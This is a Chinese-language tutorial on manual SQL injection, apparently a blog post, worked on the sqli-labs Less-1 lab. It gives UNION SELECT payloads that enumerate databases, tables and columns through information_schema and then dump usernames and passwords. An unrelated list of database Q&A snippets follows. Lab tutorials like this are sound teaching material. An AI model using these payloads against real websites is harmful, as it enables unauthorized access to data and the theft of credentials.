sql手工注入

2023-11-20

  • information_schema,系统数据库,包含所有数据库相关信息。
  • information_schema.schemata中schema_name列,字段为所有数据库名称。

  • information_schema.tables中table_name列对应数据库所有表名,其中table_schema列是所有数据库名。

  • information_schema.columns中,column_name列对应所有列名,其中table_schema列也对应所有数据库名,table_name列也对应所有表名

  • 1.判断闭合类型 (sqli labs less1为例) 

  • 请求方式

    GET请求:

    注释方式:-- 或者–+

    POST请求:

    注释方式:#

在url后输入?id=1(正常),输入?id=1 and 1=1和?id=1 and 1=2后都显示正常(不是数字型)

输入?id=1'(报错,说明是单引号闭合)

输入?id=1' and '1'='1(正常,说明是字符型)

     2.判断列数

(1)使用(order by  数字)语句来判断列数

如果输入的数字大于实际的列数,则会报错:

 由此可得有3列

--+是:在URL中,如果在最后加上-- ,浏览器在发送请求的时候会把URL末尾的空格舍去,而用--+代替--+在URL被URL编码后会变成空格。

(2)使用(union select 1,2,3...)语句判断列数

 该语句是将1,2,3等数字放入列中,若数字个数大于列数则报错:

如上所示,当select 1,2,3,4是报错,而select 1,2,3时不报错,则说明有3列。

  3.判断回显位

在URL后加(?id=-1' union select 1,2,3 --+)得到:

有下面的回显可知,第二列和第三列的信息会显示出来,所以 后面查询时需要将查到的信息放在第二列或者第三列来让他显示出来。 

前面id=数字,这个数字要弄一个负数或一个很大的数,来让后面union语句的信息显示出来。

    4.爆数据库名

URL后加?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

group_concat函数将获取的内容拼接在一起,便于显示出来。

information_schema.schemata中schema_name列,里面是其他数据库的信息。

 这样我们就得到了所有数据库的名字

  5.爆表名(security数据库的表)

URL后加    ?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+   语句。

table_name是所有数据库的表名,所以在最后加上where table_schema='security'语句来对查到的表进行限制,来查询某一特定数据库的表。

 6.爆列名(users表的列名)

在URL后加上   ?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+   语句。

column_name是所有数据库的列名,所以在后面加上where table_name='users'语句来进行限制,让显示出来的为users这个表的列名。

 7.查数据

在前面的步骤中,数据库名,表名,列名都已经知道了,我们就可以用?id=-1' union select 1,2,group_concat(username,password) from users --+ 语句来查询想要的信息了。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

sql手工注入 的相关文章

  • 如何:SQL 还是 NOSQL?

    我还没有遇到过这个问题 但这就是我的想法 非常肤浅和简单化恕我直言 如果您有键值类型的存储 并且所有访问都是键查找 请使用 NOSQL 解决方案 如果您想要基于值 和子值 进行查找或者有一些更复杂的东西 例如联接 您会选择关系解决方案 事务
  • 社交对象 - 数据库结构、过滤、排序、可扩展性的最佳实践[关闭]

    Closed 这个问题是基于意见的 help closed questions 目前不接受答案 我们正在 ASP NET MVC 中构建通用企业社交网络平台 任何社交网站的主要特征之一是社会对象由用户显式 文本更新 照片 博客 视频等 或隐
  • 触发器以捕获服务器中的架构更改

    是否可以实现类似以下触发器的东西 CREATE TRIGGER tr AU ddl All Server ON DATABASE WITH EXECUTE AS self FOR DDL DATABASE LEVEL EVENTS AS D
  • 仅包含主键和外键的数据库表的用途是什么?

    我试图理解一个简单的音乐数据库设计 有些表只包含外键和主键 我不确定如何以及何时使用这些表或向其中插入什么内容 设计如下 Track id primary key title duration live performance true o
  • 文件保存在文件系统中 VS 保存在数据库中

    我正在设计一个 servlet 或 Struts2 中的操作 用于文件 图像 文档等 下载 但我想知道哪种更好的方法可以将文件保留在文件系统和数据库中 只需保留文件的路径或将文件保留在数据库中 如 BLOB 我知道当我查询数据库时 哪里的
  • oracle 数据透视表中的列

    示例选择 select from select 1 cnt 2 sm 55 name 12 month 2011 year 12 2011 mnth txt from dual union all select 1 cnt 2 sm 54
  • 如何将包含 5000 条记录的 Excel 文件插入到 documentDB 中?

    我有一个 Excel 文件 最初约有 200 行 我能够将 Excel 文件转换为数据表 并且所有内容都正确插入到 documentdb 中 Excel 文件现在有 5000 行 在插入 30 40 条记录后不会插入 其余所有行不会插入到
  • android sqlite 如果不存在则创建表

    创建新表时遇到一点问题 当我使用 CREATE TABLE 命令时 我的新表按应有的方式形成 但是当我退出活动时 应用程序崩溃 并且我在 logcat 中得到一个表已存在 如果我使用 CREATE TABLE IF NOT EXISTS 则
  • Spring Boot如何加入自定义查询

    我需要创建一个端点 该端点按州返回人口普查数据以及城市列表 我目前使用两个端点来获取此数据 目前回应 自定义查询一 censusByState id 1 code 11 name Rond nia statePopulation 18152
  • 通过“SELECT”命令选择每组的前两条记录的最佳方法是什么?

    例如我有下表 id group data 1 1 aaa 2 1 aaa 3 2 aaa 4 2 aaa 5 2 aaa 6 3 aaa 7 3 aaa 8 3 aaa 通过 SELECT 命令选择每组的前两条记录的最佳方法是什么 如果没有
  • 何时使用 JCR(内容存储库)而不是其他选项?

    我正在尝试评估内容存储库 JSR283 http www jcp org en jsr detail id 283 like 长耳大野兔 http jackrabbit apache org and 模式形状 http www jboss
  • Rails 中的多列主键

    我正在尝试将桌面应用程序迁移到rails 还处理相当老式的现有数据库 问题是我在一列中没有唯一的 ID 但表的三列保证了记录的唯一性 鉴于我有三个表 authors author name author letter author nr1
  • SQL:使用相等的键和最近的键进行连接(类似于 Pandas 的合并)

    例如 我有2个这样的表 对于表 1 中的每一行 我想获取该行 same customer id and nearest date 就我而言 table2 date lt table1 date 结果应该是这样的 我怎样才能在 SQL 中做到
  • 小数除以小数并得到零

    为什么当我这样做时 select CAST 1 AS DECIMAL 38 28 CAST 1625625 AS DECIMAL 38 28 我得到 0 吗 但是当我得到 0 时 select CAST 1 AS DECIMAL 20 10
  • SQL日期格式转换? [dd.mm.yy 至 YYYY-MM-DD]

    是否有 mySQL 函数可以将日期从 dd mm yy 格式转换为 YYYY MM DD 例如 03 09 13 gt 2013 09 03 由于您的输入是表单中的字符串03 09 13 我假设 因为今天是 2013 年 9 月 3 日 d
  • Oracle中如何转义单引号? [复制]

    这个问题在这里已经有答案了 我有一列包含某些存储为文本字符串的表达式 其中包括单个引号 例如 错过的交易 包括引号 发生这种情况时如何使用 where 子句 select from table where reason missed tra
  • 想要从字符格式转换为带小数的数字格式

    想要将字符格式 00001000000 转换为10000 00 请帮我 我已经尝试过 select to number 00012300 9999999999 99 nls numeric characters from dual 这个脚本
  • 使用 SQL Server 作为具有多个客户端的数据库队列

    给定一个充当队列的表 如何最好地配置表 查询 以便多个客户端同时处理队列 例如 下表指示了工作人员必须处理的命令 当worker完成后 它会将处理后的值设置为true ID COMMAND PROCESSED 1 true 2 false
  • 选择不带 FROM 但有多于一行的选择

    如何在不从现有表中进行选择的情况下生成 2 行 2 列的表 我正在寻找的是一个返回的选择语句 e g id value 1 103 2 556 Use UNION http dev mysql com doc refman 5 0 en u
  • sql查询连接两个服务器中不同数据库的两个表

    我在 ServerS 上的数据库中有两个表 tableA 在 ServerB 上的数据库中有两个表 我只想根据这些表的公共字段名对这些表执行 fullouter join 在 SQL Server 中 您可以创建一个链接服务器 在 Mana

随机推荐

  • 基于MyBatis3.0.6的基本操作介绍

    转自 http haohaoxuexi iteye com blog 1333271 每 一 个 MyBatis 的 应 用 程 序 都 以 一 个 SqlSessionFactory 对 象 的 实 例 为 核 心 SqlSessionF
  • 论文笔记 A Spatial-Temporal Decomposition Based Deep Neural Network for TimeSeries Forecasting

    0 abstract 空间时间序列预测问题出现在广泛的应用中 如环境和交通问题 由于存在特定的空间 短期和长期模式 以及维度的诅咒 这些问题具有挑战性 在本文中 我们提出了一个用于大规模空间时间序列预测问题的深度神经网络框架 我们明确设计了
  • 埋点功能测试

    突然接到一个测试任务 埋点部分功能全面检查第一轮测试 咦 埋点是什么 问问旁边的两位同事 他们也没听说过埋点 后来经过网上百度 问同事 问华华老师 终于弄明白了 在此做一下记录 1关于埋点 埋点测试只是数据采集的一种术语 而数据采集是提供给
  • 记录influxdb -select语句查询某列某个关键字的一段时间数据

    1 前几秒 时间格式 s 几分钟 时间格式 m 几小时 时间格式 h 的数据 语句 SELECT FROM table name WHERE column name keyword AND time
  • Python3相对路径符号斜杠 (/),点斜杠(./),点点斜杠(../)的意思

    转自https www cnblogs com wuliytTaotao p 9338259 html 在网上找了好久这几个符号的意思 但百度搜索引擎似乎对 符号不来电 搜出来没相关的 只有这篇教的比较全面 根目录 点进磁盘就是根目录 E
  • Python 输入圆半径,计算圆周长和面积

    用 Python 编写程序 输入圆半径 计算圆周长和面积 功能 输入圆半径 计算圆周长和面积 作者 Fulling 时间 2021年10月15日 import math 输入部分 r float input 输入圆的半径 处理部分 c 2
  • 开源P2P视频流媒体源代码研究

    1 Azureus http azureus sourceforge net 这是java版的betorrent 最新版本2 4 0 2 从网上直接下载的源代码是没法构建的 所用的库没有在包里面 可以到 http azureus cvs s
  • undefined reference to错误

    1 一种报错情景 编译静态库没有报错 而编译引用静态库的程序时 报undefined reference to静态库里面函数错误时 可能原因 函数声明和定义命名不一致 这种错误不好发现 编译静态库不报错是因为在头文件中能找到函数 而在使用静
  • Android 13 - Media框架(7)- NuPlayer::Source

    Source 在播放器中起着拉流 Streaming 和解复用 demux 的作用 Source 设计的好坏直接影响到播放器的基础功能 我们这一节将会了解 NuPlayer 中的通用 Source GenericSource 关注本地播放架
  • crm系统服务器要求,crm系统需要配备什么云服务器

    crm系统需要配备什么云服务器 内容精选 换一换 登录云服务器的用户名和密码 Windows操作系统用户名 AdministratorLinux操作系统用户名 root如忘记登录密码 可通过控制台提供的 重置密码 功能设置新密码 重置密码
  • docker中设置容器健康检查

    文章目录 一 docker compose方式 二 Dockerfile方式 三 docker run方式 四 查看检查日志 一 docker compose方式 在docker compose中加入healthcheck healthch
  • c语言图案代码简单,求个用最简单的的代码来实现图形界面…

    该楼层疑似违规已被系统折叠 隐藏此楼查看此楼 include Declare Windows procedure LRESULT CALLBACK WindowProcedure HWND UINT WPARAM LPARAM Make t
  • 大雨

    大雨生彷徨 以为天人兮溯鎏妆 轰鸣兮悠远 望长水东来去也 长生共兴
  • ImportError: C extension: No module named 'pandas._libs.tslibs.timestamps' not built.解决方法

    想用一下pandas遇到了这个情况 错误的意思是没有名叫 pandas libs tslibs timestamps 的模块 网上说要这样做 进入pyinstaller包的安装目录 在python安装目录的Lib site packages
  • ubuntu 18.04.5中flow, smarts & xingtian 多智能体RL环境构建

    ubuntu 18 04 5中flow smarts xingtian 多智能体RL环境构建 Flow 虚拟环境构建 由于需要在同一个主机上运行多个环境 不同的环境具有不同的依赖包 因此每个智能体环境单独构建一个虚拟python环境 首先安
  • AutoDL上传数据详细步骤(自己用的步骤,可能没有其他大佬用的那么高级)

    写在前面 先推荐一下另一篇关于使用AutoDL的教程 AutoDL使用教程 1 创建实例 2 配置环境 上传数据 3 PyCharm2021 3专业版下载安装与远程连接完整步骤 注意 在AutoDL的终端键入命令运行时 通常是一定要先cd进
  • 华为OD机试 - 密室逃生游戏(Java)

    题目描述 小强正在参加 密室逃生 游戏 当前关卡要求找到符合给定 密码K 升序的不重复小写字母组成 的箱子 并给出箱子编号 箱子编号为 1 N 每个箱子中都有一个 字符串s 字符串由大写字母 小写字母 数字 标点符号 空格组成 需要在这些字
  • 随手学习笔记

    1 正点原子zynq视频教程 真人版 P128 P132讲解ADDA 第30 1讲高速ADDA实验 ADC芯片简介 哔哩哔哩 bilibili 2 正点原子zynq视频教程 真人版 关于zynq FPGA讲解非常详细 可逐个详细学习 第1讲
  • 使用QZXing生成并解析二维码

    QZxing 是对 zxing 的一个封装 用于在 Qt 程序中加入条形码和二维码识别的功能 这里就讲讲如何编译和使用这个库 前几年 QZXing 的代码是放到 sourceforge net 上的 现在迁移到了 github com 所以
  • sql手工注入

    information schema 系统数据库 包含所有数据库相关信息 information schema schemata中schema name列 字段为所有数据库名称 information schema tables中table